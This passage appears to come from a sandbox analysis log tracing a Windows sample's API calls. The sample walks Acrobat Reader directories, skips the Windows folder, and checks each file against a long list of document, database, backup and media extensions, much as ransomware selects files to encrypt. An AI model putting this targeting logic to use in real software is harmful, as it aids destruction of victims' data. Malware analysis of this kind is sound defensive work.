hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0269.663] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 0 [0269.663] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0269.665] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0269.665] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0269.665] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0269.665] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0269.665] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0269.665] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0269.665] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0269.665] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0269.665] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js") returned 109 [0269.665] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js") returned 1 [0269.665] lstrlenW (lpString="js") returned 2 [0269.666] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="js") returned -1 [0269.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0269.666] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js") returned 109 [0269.666] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0269.667] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0269.667] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0269.667] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls") returned 113 [0269.668] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls") returned 1 [0269.669] lstrlenW (lpString="nls") returned 3 [0269.669] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nls") returned -1 [0269.669] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0269.669] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls") returned 113 [0269.669] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315830 [0269.691] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.692] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0269.692] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae") returned 119 [0269.692] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae") returned 1 [0269.692] lstrlenW (lpString="ar-ae") returned 5 [0269.692] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ar-ae") returned 1 [0269.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0269.692] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae") returned 119 [0269.693] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0269.694] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0269.694] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0269.694] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0269.694] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0269.694] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0269.694] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es") returned 119 [0269.694] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es") returned 1 [0269.694] lstrlenW (lpString="ca-es") returned 5 [0269.694] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ca-es") returned -1 [0269.694] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0269.694] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es") returned 119 [0269.694] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0269.696] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0269.696] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.696] lstrlenW (lpString="ui-strings.js") returned 13 [0269.696] lstrlenW (lpString=".1cd") returned 4 [0269.696] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0269.696] lstrlenW (lpString=".3ds") returned 4 [0269.696] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0269.696] lstrlenW (lpString=".3fr") returned 4 [0269.696] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0269.696] lstrlenW (lpString=".3g2") returned 4 [0269.696] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0269.696] lstrlenW (lpString=".3gp") returned 4 [0269.696] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0269.696] lstrlenW (lpString=".7z") returned 3 [0269.696] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0269.696] lstrlenW (lpString=".accda") returned 6 [0269.696] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0269.696] lstrlenW (lpString=".accdb") returned 6 [0269.696] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0269.696] lstrlenW (lpString=".accdc") returned 6 [0269.696] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0269.696] lstrlenW (lpString=".accde") returned 6 [0269.696] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0269.696] lstrlenW (lpString=".accdt") returned 6 [0269.696] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0269.697] lstrlenW (lpString=".accdw") returned 6 [0269.697] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0269.697] lstrlenW (lpString=".adb") returned 4 [0269.697] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".adp") returned 4 [0269.697] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".ai") returned 3 [0269.697] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0269.697] lstrlenW (lpString=".ai3") returned 4 [0269.697] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".ai4") returned 4 [0269.697] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".ai5") returned 4 [0269.697] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".ai6") returned 4 [0269.697] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".ai7") returned 4 [0269.697] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".ai8") returned 4 [0269.697] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".anim") returned 5 [0269.697] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0269.697] lstrlenW (lpString=".arw") returned 4 [0269.697] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0269.697] lstrlenW (lpString=".as") returned 3 [0269.697] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0269.698] lstrlenW (lpString=".asa") returned 4 [0269.698] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".asc") returned 4 [0269.698] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".ascx") returned 5 [0269.698] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0269.698] lstrlenW (lpString=".asm") returned 4 [0269.698] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".asmx") returned 5 [0269.698] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0269.698] lstrlenW (lpString=".asp") returned 4 [0269.698] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".aspx") returned 5 [0269.698] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0269.698] lstrlenW (lpString=".asr") returned 4 [0269.698] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".asx") returned 4 [0269.698] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".avi") returned 4 [0269.698] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".avs") returned 4 [0269.698] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".backup") returned 7 [0269.698] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0269.698] lstrlenW (lpString=".bak") returned 4 [0269.698] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".bay") returned 4 [0269.698] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0269.698] lstrlenW (lpString=".bd") returned 3 [0269.698] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0269.698] lstrlenW (lpString=".bin") returned 4 [0269.699] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0269.699] lstrlenW (lpString=".bmp") returned 4 [0269.699] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0269.699] lstrlenW (lpString=".bz2") returned 4 [0269.699] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0269.699] lstrlenW (lpString=".c") returned 2 [0269.699] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0269.699] lstrlenW (lpString=".cdr") returned 4 [0269.699] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0269.699] lstrlenW (lpString=".cer") returned 4 [0269.699] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0269.699] lstrlenW (lpString=".cf") returned 3 [0270.053] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.053] lstrlenW (lpString=".cfc") returned 4 [0270.053] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.053] lstrlenW (lpString=".cfm") returned 4 [0270.054] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.054] lstrlenW (lpString=".cfml") returned 5 [0270.054] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.054] lstrlenW (lpString=".cfu") returned 4 [0270.054] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.054] lstrlenW (lpString=".chm") returned 4 [0270.054] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.054] lstrlenW (lpString=".cin") returned 4 [0270.054] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.054] lstrlenW (lpString=".class") returned 6 [0270.054] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.054] lstrlenW (lpString=".clx") returned 4 [0270.054] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.054] lstrlenW (lpString=".config") returned 7 [0270.054] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.054] lstrlenW (lpString=".cpp") returned 4 [0270.054] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.055] lstrlenW (lpString=".cr2") returned 4 [0270.055] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.055] lstrlenW (lpString=".crt") returned 4 [0270.055] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.055] lstrlenW (lpString=".crw") returned 4 [0270.055] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.055] lstrlenW (lpString=".cs") returned 3 [0270.055] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.055] lstrlenW (lpString=".css") returned 4 [0270.055] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.055] lstrlenW (lpString=".csv") returned 4 [0270.055] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.055] lstrlenW (lpString=".cub") returned 4 [0270.055] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.055] lstrlenW (lpString=".dae") returned 4 [0270.055] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.055] lstrlenW (lpString=".dat") returned 4 [0270.056] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.056] lstrlenW (lpString=".db") returned 3 [0270.056] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.056] lstrlenW (lpString=".dbf") returned 4 [0270.056] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.056] lstrlenW (lpString=".dbx") returned 4 [0270.056] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.056] lstrlenW (lpString=".dc3") returned 4 [0270.056] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.056] lstrlenW (lpString=".dcm") returned 4 [0270.056] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.056] lstrlenW (lpString=".dcr") returned 4 [0270.056] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.056] lstrlenW (lpString=".der") returned 4 [0270.056] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.056] lstrlenW (lpString=".dib") returned 4 [0270.056] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.057] lstrlenW (lpString=".dic") returned 4 [0270.057] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.057] lstrlenW (lpString=".dif") returned 4 [0270.057] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.057] lstrlenW (lpString=".divx") returned 5 [0270.057] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.057] lstrlenW (lpString=".djvu") returned 5 [0270.057] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.057] lstrlenW (lpString=".dng") returned 4 [0270.057] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.057] lstrlenW (lpString=".doc") returned 4 [0270.057] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.057] lstrlenW (lpString=".docm") returned 5 [0270.057] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.057] lstrlenW (lpString=".docx") returned 5 [0270.057] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.057] lstrlenW (lpString=".dot") returned 4 [0270.057] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.057] lstrlenW (lpString=".dotm") returned 5 [0270.057] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.057] lstrlenW (lpString=".dotx") returned 5 [0270.057] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.059] lstrlenW (lpString=".dpx") returned 4 [0270.059] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.059] lstrlenW (lpString=".dqy") returned 4 [0270.059] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.059] lstrlenW (lpString=".dsn") returned 4 [0270.059] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.059] lstrlenW (lpString=".dt") returned 3 [0270.059] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.059] lstrlenW (lpString=".dtd") returned 4 [0270.059] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.059] lstrlenW (lpString=".dwg") returned 4 [0270.059] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.059] lstrlenW (lpString=".dwt") returned 4 [0270.059] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.059] lstrlenW (lpString=".dx") returned 3 [0270.059] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.059] lstrlenW (lpString=".dxf") returned 4 [0270.060] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.060] lstrlenW (lpString=".edml") returned 5 [0270.060] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.060] lstrlenW (lpString=".efd") returned 4 [0270.060] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.060] lstrlenW (lpString=".elf") returned 4 [0270.060] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.060] lstrlenW (lpString=".emf") returned 4 [0270.060] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.060] lstrlenW (lpString=".emz") returned 4 [0270.060] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.060] lstrlenW (lpString=".epf") returned 4 [0270.060] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.060] lstrlenW (lpString=".eps") returned 4 [0270.061] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.061] lstrlenW (lpString=".epsf") returned 5 [0270.061] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.061] lstrlenW (lpString=".epsp") returned 5 [0270.061] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.061] lstrlenW (lpString=".erf") returned 4 [0270.061] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.061] lstrlenW (lpString=".exr") returned 4 [0270.061] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.061] lstrlenW (lpString=".f4v") returned 4 [0270.061] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0270.061] lstrlenW (lpString=".fido") returned 5 [0270.061] lstrcmpiW 